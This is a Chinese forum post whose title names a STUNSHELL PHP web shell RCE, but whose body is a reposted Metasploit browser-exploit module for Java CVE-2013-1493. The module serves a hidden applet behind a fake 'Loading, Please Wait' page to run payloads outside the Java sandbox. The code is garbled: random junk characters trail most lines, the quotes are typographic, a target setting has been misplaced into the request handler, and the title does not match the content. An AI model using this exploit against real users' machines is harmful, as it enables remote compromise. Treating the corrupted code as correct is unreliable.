找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2306|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##1 j5 O( {2 L, T* |9 V
0 Z- c9 {4 k, Z
# This file is part of the Metasploit Framework and may be subject to- s& C! P7 a( P
# redistribution and commercial restrictions. Please see the Metasploit, r6 k: |- i0 ^/ i4 V
# web site for more information on licensing and terms of use.
4 ?/ e; C! F( f: m0 X# http://metasploit.com/3 L4 Q5 _  X$ S
##9 q- Z! [3 {& N* m
require ‘msf/core’
8 ?% i; l+ j* D* }6 w/ krequire ‘rex’- I4 j* M& v. ]- ~: M7 U0 x" R, S
class Metasploit3 < Msf::Exploit::Remote
/ A* r; r- }& B" HRank = NormalRanking. y3 {, Y* `9 ~2 `9 ]- y9 v
include Msf::Exploit::Remote::HttpServer::HTML
% E& O) A3 X( I5 G% T( d9 h7 jinclude Msf::Exploit::EXE% Q# o" B. g) x) d( A6 v* ?" T5 v3 t
include Msf::Exploit::Remote::BrowserAutopwn
  y* x2 i. y0 Iautopwn_info({ :javascript => false })
$ O, r' r  k/ ^$ D! u4 U  t2 Hdef initialize( info = {} )) b  }3 b3 M) R1 ]
super( update_info( info,% {# P5 O, U( i- o# k
‘Name’ => ‘Java CMM Remote Code Execution’,
- X% D8 t! O- Y' E: t‘Description’ => %q{2 E' q6 ]( x( i0 J+ T( d0 i
This module abuses the Color Management classes from a Java Applet to run4 L$ D7 U. B6 @5 R) K) G# n3 T
arbitrary Java code outside of the sandbox as exploited in the wild in February2 {9 v' W0 R  N' A+ [3 Z
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41  W. n# [4 k: w8 y( x4 B* M
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
& ~, h, h* N# A" Tsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java  N  N! n. V) r
warning in order to run the malicious applet.- O4 u. ^9 k8 Q! |+ g
},) z1 q$ a/ z; B, e" L
‘License’ => MSF_LICENSE,
! x: T6 ?4 {3 V( J- X4 M‘Author’ =>: v# {2 F  `6 g2 `8 M. A4 g3 W
'Unknown', # Vulnerability discovery and Exploit% c: k3 u' q9 U4 {' t1 `
'juan vazquez' # Metasploit module (just ported the published exploit), H# K5 c+ M7 `, `3 t1 q- g
],
" J& G9 @/ b6 P& ^5 u( [‘References’ =>
. L, ^$ e+ Y5 X: L# H% f2 g[
) s5 S8 |4 f4 o& b4 c. D2 E/ m  o[ 'CVE', '2013-1493' ],) r& s1 c6 I2 z' ?& e- w: E
[ 'OSVDB', '90737' ],
" K" V1 X" Y, ^# p* r8 H  [[ 'BID', '58238' ],
/ b) X# S4 m  O5 T' L) i[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],3 t& e) Q0 y$ A3 _
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
2 Q4 e  ]  D  X/ @[ 'URL', 'http://pastie.org/pastes/6581034' ]
% l% i+ c; x: Y3 }, w% ~; ^$ j],. @6 j. d3 ^2 e* v% V4 s8 b
‘Platform’ => [ 'win', 'java' ],
" x, D  y+ J/ _/ h  Y9 A* w‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },9 E/ h* ]1 I& @, ?2 d/ \# Z# @
‘Targets’ =>
2 d! C2 u* Z# u7 Z7 y  I6 _[- p% o+ u( H6 u  U* I5 i5 `# T
[ 'Generic (Java Payload)',
/ |. u( |0 w4 ]7 c" b+ n: s{
6 T+ f' x* O$ \' `3 L! ?7 t  R'Platform' => 'java',+ L/ g# l6 j( J0 J
'Arch' => ARCH_JAVA$ z# {7 m3 U1 f0 ~, `* w
}/ e3 V/ F/ O% k8 @, [3 s  W3 M# p; `
],1 p4 Q8 h/ z  S* P7 W- C8 a  V
[ 'Windows x86 (Native Payload)',
) |" \9 M& g' G{
, A, A# H: E1 N5 a7 N'Platform' => 'win',7 A) c9 q- P/ `$ L. i# A) M' a
'Arch' => ARCH_X86
) c. U, W) H5 ~1 C9 Y" Z}: u$ T  V) K4 x/ g  I
]5 p: W, m$ i! m6 S! Q) f
],  b7 k  B% ^0 f# Y  ~* d' F  N
‘‘DisclosureDate’ => ‘Mar 01 2013′; `% l1 q& `5 T
)); J! C4 k0 o- k4 w
end7 O& o& }% H& k; M1 K  I
def setup$ [- g3 g& X, s$ X$ H. g) y
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
' H% e7 C6 O9 y& l$ L  d8 [* e@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
  m% R9 W( @* K% @  Mpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
2 W- p2 J; ]  y+ M. ~9 m& Z5 i@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
, q+ @% G8 N( U- `7 Jpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
' v, a; Q; m6 v7 b2 R* v@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }9 R0 o" o1 m1 x8 J  v
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
2 K: @7 ?& x$ W; U  O% Z@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }8 }" t% u4 k( y# v8 v$ b
@init_class_name = rand_text_alpha(“Init”.length)
2 |. z  o2 x2 X: ^7 J@init_class.gsub!(“Init”, @init_class_name)4 K) Q- c$ V0 o* i# _, y
super
9 [; P/ E6 z8 s' X' `end
) M! [/ [6 H4 {) U4 e  @- edef on_request_uri(cli, request)4 K( i! T0 `5 w2 ]- Q8 k+ O
print_status(“handling request for #{request.uri}”). ^, x6 X/ V& F/ u3 m1 }/ R
case request.uri
. L9 A3 E# A; F( U3 G- Dwhen /\.jar$/i
" c' I( l$ x+ Y- X# b0 G7 M2 hjar = payload.encoded_jar* u* Z' F( \0 z
jar.add_file(“#{@init_class_name}.class”, @init_class)
$ Y3 b  t" s0 i" w4 E: Bjar.add_file(“Leak.class”, @leak_class)
/ o2 @- G2 _+ s& Y$ N9 {jar.add_file(“MyBufferedImage.class”, @buffered_image_class)( \  J2 J, A# W+ m+ }; K7 Y6 x
jar.add_file(“MyColorSpace.class”, @color_space_class)
- I- ?$ ?/ l4 E2 _2 A- ^- G% n/ jDefaultTarget’ => 1,
  i, W+ a  a1 }metasploit_str = rand_text_alpha(“metasploit”.length)6 o7 D+ X' p1 f( H4 |
payload_str = rand_text_alpha(“payload”.length)
! Q' ^9 K8 i8 s9 G! c: Ljar.entries.each { |entry|
" Y/ s. Z2 Y5 b" v0 l. a8 ~/ tentry.name.gsub!(“metasploit”, metasploit_str)
. K5 Z! {# W9 Q  ?entry.name.gsub!(“Payload”, payload_str)& f- w! s# q& s
entry.data = entry.data.gsub(“metasploit”, metasploit_str)& t+ z& H% I3 ?  Q9 S# [# U
entry.data = entry.data.gsub(“Payload”, payload_str)7 t$ c/ Z: ?9 t$ X
}8 R1 F# B" ^3 f3 F# c8 ~+ D
jar.build_manifest
2 h) U2 r( k( U$ `: O- Lsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
! P) M. Z, t% `: I/ K' v0 m- G& qwhen /\/$/; T4 j' w" K5 Z" [! V" c! D
payload = regenerate_payload(cli)
* {! ~* |4 W+ h- qif not payload+ b0 v$ P2 U5 ?, d# S4 R# k
print_error(“Failed to generate the payload.”)& E$ C2 T( n& z0 x
send_not_found(cli)$ A4 H) B4 p2 K. ~: @  i" T8 e) b
return8 F, J# I: ~  V1 l7 y/ q1 J% w
end
  A0 @2 F) M0 ?# V" Dsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })0 Q  z. b! j+ ]+ ]3 M7 s5 O. l* y( ?
else
. x, p* r5 }; qsend_redirect(cli, get_resource() + ‘/’, ”)
2 ?* q$ H) V3 m, }+ O2 y7 `end
8 D0 _8 F: ~6 Z' g2 a; K, e3 ~, Zend
! ~# N; K. t* ydef generate_html$ [5 s& g9 T& h( R( O
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
" F9 I, y! p7 B( d  `: jhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|& K" G8 c& W* j0 V  \2 k
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|" P: j8 y! |* f" k1 b
html += %Q|</applet></body></html>|
0 ^' h* R! {3 K1 ]+ B$ U8 ureturn html* R7 k0 ^9 b! h. F' v& E2 K
end
9 z& V2 K$ O; c- tend
" E9 M. y8 T' @1 h& `! ]# N7 I& send
/ c$ N- |) l( r+ ~% V7 q6 {3 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表